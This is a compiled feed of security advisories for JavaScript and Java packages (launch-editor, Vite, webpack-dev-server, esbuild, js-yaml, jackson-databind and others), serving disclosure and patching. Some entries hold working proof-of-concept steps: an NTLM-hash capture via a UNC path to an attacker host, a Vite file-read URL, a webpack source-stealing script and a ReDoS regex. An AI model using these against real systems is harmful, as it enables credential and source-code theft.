launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. This vulnerability is fixed in 2.14.1.
ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the `$data` option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax (`$data` reference), which is passed directly to the JavaScript `RegExp()` constructor without validation. An attacker can inject a malicious regex pattern (e.g., `\"^(a|a)*$\"`) combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with `$data`: true for dynamic schema validation.
Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper. This issue affects BC-JAVA: from 1.74 before 1.84.
### Summary The `launch-editor` NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. ### Impact If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the `launch-editor`: - using Windows - NTLM is not disabled ([it is recommended to disable](https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526), while it's still enabled by default) - the user accesses the attackers website that sends request to a middleware using `launch-editor` - the server that has the middleware using `launch-editor` is running - the attacker knows the URL for that server and the middleware This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems. ### Details `launch-editor` accepts file paths without validating or restricting Windows UNC paths such as: ``` \\attacker-host\share ``` On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur. If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password. The attacker could target a developer that uses a development server using `launch-editor` to develop code locally, send them a link and grab their NTLMv2 hash. ### PoC From the attacker side, we will setup an SMB server. I personally used [Impacket's smbserver.py](https://github.com/fortra/impacket/blob/master/examples/smbserver.py), but you could use something like [Responder](https://github.com/lgandx/Responder) for this as well. For keeping it simple, we will use `smbserver.py` here. First, let's create a directory to serve as an SMB share. ``` mkdir /tmp/data echo "Hello world" > /tmp/data/test.txt ``` Then, start the SMB server. ``` $ sudo smbserver.py -smb2support -debug share /tmp/data ``` Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (`vite`). Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use `curl` to achieve the same. ``` curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt' ``` Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of `smbserver.py` and see the NTLMv2 hash coming in. <img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />
The package hosted-git-info before 3.0.8 are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.
An issue was discovered in PostCSS before 8.4.31. The vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being included in a comment.
Vite is a frontend tooling framework for javascript. The contents of arbitrary files can be returned to the browser. By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the server.fs.deny restriction was able to bypass. This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. This vulnerability is fixed in 4.5.12, 5.4.17, 6.0.14, 6.1.4, and 6.2.5.
In http-proxy-middleware before 2.0.8 and 3.x before 3.0.4, writeBody can be called twice because "else if" is not used.
In http-proxy-middleware before 2.0.9 and 3.x before 3.0.5, fixRequestBody proceeds even if bodyParser has failed.
js-yaml is a JavaScript YAML parser and dumper. In js-yaml before 4.1.1 and 3.14.2, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted. The problem is patched in js-yaml 4.1.1 and 3.14.2. Users can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default).
The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to 1.1.21, 2.1.7, 3.0.9, and 5.0.12, the expand function handles untrusted {a},b}-shaped patterns with many trailing closing braces by restarting its scan once for each trailing closing brace. The successive full-input rescans with linear working-string growth cause quadratic CPU time and memory pressure that can block the Node.js event loop. The process eventually recovers, making the impact a recoverable CPU denial of service. This issue is fixed in versions 1.1.21, 2.1.7, 3.0.9, and 5.0.12.
webpack-dev-server versions 5.2.5 and earlier terminate the whole Node.js process when an unauthenticated peer sends either a normal HTTP request with a malformed Host header or a WebSocket upgrade to the default /ws endpoint with a malformed Origin header. The malformed value causes an uncaught exception in the host-validation path and crashes the dev server. Impact is limited to availability of the development server, no data disclosure, no code execution. Patches: upgrade to webpack-dev-server 5.2.6. Workarounds: keep the dev server bound to localhost (the default) and do not expose it to untrusted networks.
jackson-databind's deserializer for java.nio.file.Path resolves an attacker-supplied URI without restricting the URI scheme. In JDKFromStringDeserializer.NioPathHelper.deserialize, a string bound from untrusted JSON is passed to new URI(value) and then to Path.of(uri). When that throws FileSystemNotFoundException, the code enumerates ServiceLoader<FileSystemProvider> and calls provider.getPath(uri) on the first provider whose scheme matches the attacker-chosen scheme. Untrusted JSON can therefore select and drive an arbitrary registered FileSystemProvider during readValue under a default JsonMapper, and forces provider class loading at the same time. With only the JDK built-in providers (file, jar/zipfs) present, the resolved path is inert and no mount or network I/O occurs; further impact requires a side-effecting third-party FileSystemProvider on the classpath. This affects com.fasterxml.jackson.core:jackson-databind from 2.8.0 before 2.18.10, from 2.19.0 before 2.21.6, and from 2.22.0 before 2.22.2, and tools.jackson.core:jackson-databind from 3.0.0 before 3.1.6 and from 3.2.0 before 3.2.2. Users should upgrade to 2.18.10, 2.21.6, 2.22.2, 3.1.6, or 3.2.2. Binding java.nio.file.Path from untrusted JSON should be avoided regardless of version.
Public dashboards with annotations enabled did not limit their annotation timerange to the locked timerange of the public dashboard. This means one could read the entire history of annotations visible on the specific dashboard, even those outside the locked timerange. This did not leak any annotations that would not otherwise be visible on the public dashboard.
The _.unset and _.omit functions in Lodash are vulnerable to prototype pollution. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype. The issue permits deletion of prototype properties but does not allow overwriting their original behavior. The issue is patched from 4.18.0 to 4.18.1 depending on the package: lodash, lodash-es, and lodash-amd in 4.18.1, and the standalone lodash.unset and lodash.omit packages in 4.18.0.
Information exposure vulnerability has been identified in Apache Kafka. The NetworkClient component will output entire requests and responses information in the DEBUG log level in the logs. By default, the log level is set to INFO level. If the DEBUG level is enabled, the sensitive information will be exposed via the requests and responses output log. The entire lists of impacted requests and responses are: * AlterConfigsRequest * AlterUserScramCredentialsRequest * ExpireDelegationTokenRequest * IncrementalAlterConfigsRequest * RenewDelegationTokenRequest * SaslAuthenticateRequest * createDelegationTokenResponse * describeDelegationTokenResponse * SaslAuthenticateResponse This issue affects Apache Kafka: from any version supported the listed API above through v3.9.1, v4.0.0. We advise the Kafka users to upgrade to v3.9.2, v4.0.1, or later to avoid this vulnerability.
Picomatch is a glob matcher written JavaScript. Versions prior to 4.0.4, 3.0.2, and 2.3.2 are vulnerable to a method injection vulnerability affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression. This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control. All users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted. This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch. Possible mitigations include sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`; avoiding the use of POSIX bracket expressions if user input is involved; and manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype.
opentelemetry-java is the Java implementation of the OpenTelemetry API for recording telemetry, and SDK for managing telemetry recorded by the API. Prior to 1.62.0, a vulnerability affects the baggage propagation implementation in opentelemetry-api and opentelemetry-extension-trace-propagators. Parsing oversized baggage causes unbounded memory allocation and CPU consumption. Because baggage is automatically re-injected into every outgoing request, the effect can fan out to downstream services that never received the original malicious request. This vulnerability is fixed in 1.62.0.
js-yaml is a JavaScript YAML parser and dumper. Prior to 4.2.0 and 3.15.0, a crafted YAML document can trigger algorithmic CPU exhaustion in js-yaml merge-key processing (<<) by repeating the same alias many times in a merge sequence. This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service. The issue is in merge handling inside lib/loader.js. This vulnerability is fixed in 4.2.0 and 3.15.0.
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.0.0 until 2.18.8, 2.21.4, and 3.1.4, JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.8.0 until 2.18.9, 2.21.5, and 3.1.4, in BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again. This vulnerability is fixed in 2.18.9, 2.21.5, and 3.1.4.
HttpClient based on the classic i/o model fails to correctly release the underlying connection back to the connection manager if it encounters an invalid or unsupported `Content-Encoding` header value in the response message. Please note this defect does not affect HttpClient based on the async i/o model. This issue affects Apache HttpComponents Client: from 5.0-alpha1 through 5.6.2.
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. Prior to versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1 on their respective release lines, the java.net.InetAddress branch of FromStringDeserializer.Std._deserialize() calls InetAddress.getByName() on attacker-controlled input, causing eager DNS resolution during deserialization and enabling DNS-based server-side request forgery and internal-host enumeration. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1.
### Impact picomatch is vulnerable to a **method injection vulnerability (CWE-1321)** affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression. This leads to **incorrect glob matching behavior (integrity impact)**, where patterns may match unintended filenames. The issue does **not enable remote code execution**, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control. All users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted. ### Patches This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. ### Workarounds If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch. Possible mitigations include: - Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`. - Avoiding the use of POSIX bracket expressions if user input is involved. - Manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype: ```js const POSIX_REGEX_SOURCE = { __proto__: null, alnum: 'a-zA-Z0-9', alpha: 'a-zA-Z', // ... rest unchanged }; ### Resources - fix for similar issue: https://github.com/micromatch/picomatch/pull/144 - picomatch repository https://github.com/micromatch/picomatch
The npm package `hosted-git-info` before 3.0.8 are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity
### Summary The contents of arbitrary files can be returned to the browser. ### Impact Only apps explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. ### Details - base64 encoded content of non-allowed files is exposed using `?inline&import` (originally reported as `?import&?inline=1.wasm?init`) - content of non-allowed files is exposed using `?raw?import` `/@fs/` isn't needed to reproduce the issue for files inside the project root. ### PoC Original report (check details above for simplified cases): The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice ``` $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev ``` Example full URL `http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init`
### Summary Source code may be stolen when you access a malicious web site. ### Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:8080/main.js">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18426585/reproduction.zip) and extract it 2. Run `npm i` 3. Run `npx webpack-dev-server` 4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/` 5. You can see the source code output in the document and the devtools console.  The script in the POC site is: ```js let moduleList const onHandlerSet = (handler) => { console.log('h', handler) moduleList = handler.require.m } const originalArrayForEach = Array.prototype.forEach Array.prototype.forEach = function forEach(callback, thisArg) { callback((handler) => { onHandlerSet(handler) }) originalArrayForEach.call(this, callback, thisArg) Array.prototype.forEach = originalArrayForEach } const script = document.createElement('script') script.src = 'http://localhost:8080/main.js' script.addEventListener('load', () => { console.log(moduleList) for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } }) document.head.appendChild(script) ``` This script uses the function generated by [`renderRequire`](https://github.com/webpack/webpack/blob/3919c844eca394d73ca930e4fc5506fb86e2b094/lib/javascript/JavascriptModulesPlugin.js#L1383). ```js // The require function function __webpack_require__(moduleId) { // Check if module is in cache var cachedModule = __webpack_module_cache__[moduleId]; if (cachedModule !== undefined) { return cachedModule.exports; } // Create a new module (and put it into the cache) var module = __webpack_module_cache__[moduleId] = { // no module.id needed // no module.loaded needed exports: {} }; // Execute the module function var execOptions = { id: moduleId, module: module, factory: __webpack_modules__[moduleId], require: __webpack_require__ }; __webpack_require__.i.forEach(function(handler) { handler(execOptions); }); module = execOptions.module; execOptions.factory.call(module.exports, module, module.exports, execOptions.require); // Return the exports of the module return module.exports; } ``` Especially, it uses the fact that `Array::forEach` is called for `__webpack_require__.i` and `execOptions` contains `__webpack_require__`. It uses prototype pollution against `Array::forEach` to extract `__webpack_require__` reference. ### Impact This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script. <details> <summary>Old content</summary> ### Summary Source code may be stolen when you use [`output.iife: false`](https://webpack.js.org/configuration/output/#outputiife) and access a malicious web site. ### Details When `output.iife: false` is set, some global variables for the webpack runtime are declared on the `window` object (e.g. `__webpack_modules__`). Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:8080/main.js">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the `window` object. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. I pointed out `output.iife: false`, but if there are other options that makes the webpack runtime variables to be declared on the `window` object, the same will apply for those cases. ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18409777/reproduction.zip) and extract it 2. Run `npm i` 3. Run `npx webpack-dev-server` 4. Open `https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/` 5. Open the devtools console. 6. You can see the content of `src/index.js` and other scripts loaded.  The script in the POC site is: ```js const script = document.createElement('script') script.src = 'http://localhost:8080/main.js' script.addEventListener('load', () => { for (const module in window.__webpack_modules__) { console.log(`${module}:`, window.__webpack_modules__[module].toString()) } }) document.head.appendChild(script) ``` ### Impact This vulnerability can result in the source code to be stolen for users that has `output.iife: false` option set and uses a predictable port and output path for the entrypoint script. </details>
## Summary In `BeanDeserializerBase.createContextual()`, per-property `@JsonIgnoreProperties` exclusions are applied by `_handleByNameInclusion()`, producing a `contextual` deserializer whose `BeanPropertyMap` has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by `@JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)`) rebuilds from `this._beanProperties` (the original, unfiltered map) instead of `contextual._beanProperties`, then overwrites the filtered map — restoring every property `_handleByNameInclusion` had just removed. The ignored property becomes writable again. ## Impact An application that both enables case-insensitive matching and relies on per-property `@JsonIgnoreProperties` to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write). ## Affected / Patched Will be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4. ## Severity / CWE Maintainer: minor. Reporter: Moderate. CWE-915. ## Upstream fix FasterXML/jackson-databind#5962 (PR #5964, `0e1b0b2`), milestone 3.1.4. Released 2026-06-04.
### Summary esbuild allows any websites to send any request to the development server and read the response due to default CORS settings. ### Details esbuild sets `Access-Control-Allow-Origin: *` header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response. https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363 **Attack scenario**: 1. The attacker serves a malicious web page (`http://malicious.example.com`). 1. The user accesses the malicious web page. 1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above. 1. The attacker gets the content of `http://127.0.0.1:8000/main.js`. In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by - Fetching `/index.html`: normally you have a script tag here - Fetching `/assets`: it's common to have a `assets` directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files - Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (`new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))`) - Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file. ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18561484/reproduction.zip) 2. Extract it and move to that directory 1. Run `npm i` 1. Run `npm run watch` 1. Run `fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))` in a different website's dev tools.  ### Impact Users using the serve feature may get the source code stolen by malicious websites.
### Impact When webpack-dev-server is running on a non-HTTPS origin (the default), cross-origin requests from malicious websites can load the dev server's JavaScript bundles via `<script>` tags. The fix introduced in v5.2.1 (CVE-2025-30359) relied on `Sec-Fetch-Mode` and `Sec-Fetch-Site` request headers to block these requests, but browsers only send these headers for [potentially trustworthy origins](https://w3c.github.io/webappsec-secure-contexts/#is-origin-trustworthy). Over plain HTTP, the headers are absent and the check is bypassed. An attacker who knows the dev server's host, port, and output path can exfiltrate all module source code by intercepting the webpack runtime's module registration. This does not affect Chrome 142+ (and other Chromium-based browsers) due to [local network access restrictions](https://developer.chrome.com/release-notes/142#local_network_access_restrictions). ### Patches Patched in webpack-dev-server >= 5.2.4 by setting `Cross-Origin-Resource-Policy: same-origin` on responses. ### Workarounds Run the dev server with HTTPS enabled (`--https` or `server.type: 'https'` in config). ### Resources - [GHSA-4v9v-hfq4-rm2v](https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v) (CVE-2025-30359) - original vulnerability - [GHSA-9jgg-88mc-972h](https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h) (CVE-2025-30360) - prior bypass
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be `\r` discrepancies, as demonstrated by `@font-face{ font:(\r/*);}` in a rule. This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
### Summary A crafted YAML document can trigger algorithmic CPU exhaustion in `js-yaml` merge-key processing (`<<`) by repeating the same alias many times in a merge sequence. This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service. ### Details The issue is in merge handling inside `lib/loader.js`: - `storeMappingPair(...)` iterates every element of a merge sequence when key tag is `tag:yaml.org,2002:merge`. - For each element, it calls `mergeMappings(...)`. - `mergeMappings(...)` computes `Object.keys(source)` and performs `_hasOwnProperty.call(destination, key)` checks for each key. When input is of the form: a: &a {k0:0, k1:0, ..., kK:0} b: {<<: [*a, *a, *a, ... repeated M times ...]} all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time. Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows. Relevant code path: lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge') lib/loader.js mergeMappings(...) ### Root cause File: lib/loader.js Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode, valueNode, startLine, startLineStart, startPos) Lines: ~359-366 if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { mergeMappings(state, _result, valueNode[index], overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } } When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element is handed to mergeMappings() without deduplication. mergeMappings() then does sourceKeys = Object.keys(source); for (index = 0; index < sourceKeys.length; index += 1) { key = sourceKeys[index]; if (!_hasOwnProperty.call(destination, key)) { setProperty(destination, key, source[key]); overridableKeys[key] = true; } } Every alias reference in the sequence resolves (by design) to the SAME object via state.anchorMap. After the first merge, every subsequent merge of that same reference is a pure no-op semantically, but still performs: * one Object.keys(source) call (O(K)) * K _hasOwnProperty.call checks on the destination Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final object and all observable side effects are identical to a single merge. YAML semantics for `<<:` are idempotent and commutative over duplicate sources, so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off. ### PoC Environment: js-yaml version: 4.1.1 Node.js: v24.5.0 Platform: arm64 macOS (reproduced consistently) Reproduction script: Create many keys in one anchored map (&a). Merge that same alias repeatedly via <<: [*a, *a, ...]. Measure parse time and compare with control payload using single merge (<<: *a). Observed repeated runs (same machine): K=M=1000, input 9,909 bytes: ~33–36 ms K=M=2000, input 20,909 bytes: ~121–123 ms K=M=4000, input 42,909 bytes: ~524–537 ms K=M=6000, input 64,909 bytes: ~1,608–1,829 ms K=M=8000, input 86,909 bytes: ~3,395–3,565 ms Control (single merge, similar key counts): K=2000: ~1–2 ms K=4000: ~3 ms K=8000: ~5 ms Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation. ### Impact This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity). Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability. ### Suggested fix: Dedupe the merge source list by reference before invoking mergeMappings. Any of the following are minimal and preserve YAML 1.1 merge semantics: dedupe in storeMappingPair: if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { var seen = new Set(); for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { var src = valueNode[index]; if (seen.has(src)) continue; // idempotent; skip redundant alias seen.add(src); mergeMappings(state, _result, src, overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } }
## Summary `JDKFromStringDeserializer` constructed `InetSocketAddress` with `new InetSocketAddress(host, port)`, which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an `InetSocketAddress` field issues an attacker-chosen DNS query during `readValue`, before any application-level validation or connect logic. The fix uses `InetSocketAddress.createUnresolved(host, port)`, deferring DNS to an explicit connect. ## Impact An attacker controlling JSON deserialized into an `InetSocketAddress`-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding. ## Affected / Patched (verified via `git tag --contains` on `1f5a103`) - 2.18 line: `>= 2.18.0, < 2.18.8` -> fixed in **2.18.8** - 2.19-2.21 line: `>= 2.19.0, < 2.21.4` -> fixed in **2.21.4** - 3.x line: `>= 3.0.0, < 3.1.4` -> fixed in **3.1.4** ## Severity / CWE Maintainer: minor. Reporter: LOW. CWE-918 (SSRF). ## Upstream fix FasterXML/jackson-databind#5951 ("Improve InetSocketAddress deserialization"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4. ## Credits Omkhar Arasaratnam (@omkhar) - finder.
Affected versions of npm package `path-parse` are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.
HttpClient based on the classic i/o model fails to correctly release the underlying connection back to the connection manager if it encounters an invalid or unsupported `Content-Encoding` header value in the response message. Please note this defect does not affect HttpClient based on the async i/o model. This issue affects Apache HttpComponents Client: from 5.0-alpha1 through 5.6.2.
### Impact An unauthenticated peer that can reach the `webpack-dev-server` process can terminate it by sending either a normal HTTP request with a malformed `Host` header, or a WebSocket upgrade to the default `/ws` endpoint with a malformed `Origin` header. The malformed header triggers an uncaught exception in the host-validation path and crashes the dev server process. ### Patches Fixed in `webpack-dev-server` 5.2.6 by treating malformed `Host` and `Origin` header values as invalid rather than throwing (see [PR #5699](https://github.com/webpack/webpack-dev-server/pull/5699)). ### Workarounds Keep the dev server bound to `localhost` (the default) and do not expose it to untrusted networks.
### Summary A memory leak can be caused in Netty's DNS codec by sending malicious DNS packets containing invalid domain names. Because the leak occurs incrementally per packet, sustained malicious requests will cause a gradual Denial of Service. ### Details Inside `io.netty.handler.codec.dns.AbstractDnsRecord`, the parsed domain name string is passed to `IDN.toASCII(name)`. If the domain name contains characters that violate IDNA rules, `IDN.toASCII` throws an `IllegalArgumentException`. Because this exception occurs inside the constructor before the `DnsRecord` instance can assign the buffer to its content field for later release, the ByteBuf whose reference count was incremented (or newly allocated) is never released, resulting in a direct memory leak. There are several places where variants of this leak happen: - `io.netty.handler.codec.dns.DefaultDnsRecordDecoder#decodeRecord(java.lang.String, io.netty.handler.codec.dns.DnsRecordType, int, long, io.netty.buffer.ByteBuf, int, int)` invokes `in.retainedDuplicate()` or creates a new buffer `out` when constructing `DefaultDnsRawRecord` - `io.netty.handler.codec.dns.DnsCodecUtil#decompressDomainName` allocates a new `ByteBuf` and passes it to `encodeDomainName()`. If the decompressed domain name contains a null byte (`\0`), `encodeDomainName()` throws an `IllegalArgumentException`, leaking the newly allocated buffer. ### Impact Resource Exhaustion. Any application utilizing Netty's DnsRecordDecoder (such as DnsNameResolver or custom DNS servers) is vulnerable.
### Impact In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted. ### Patches Problem is patched in js-yaml 4.1.1 and 3.14.2. ### Workarounds You can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default). ### References https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html
### Impact When a user-configured proxy on `webpack-dev-server` has a broad context (e.g. `/`) and `ws: true`, it also intercepts the dev server's own HMR WebSocket and forwards it to the proxy target. This leaks the browser's cookies and `Origin` header to the backend, bypasses the dev server's Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket). ### Patches Fixed in `webpack-dev-server` 5.2.5. ### Workarounds Scope user-defined proxy `context` to specific paths instead of `/`, or omit `ws: true` from the proxy entry when WebSocket forwarding is not required.
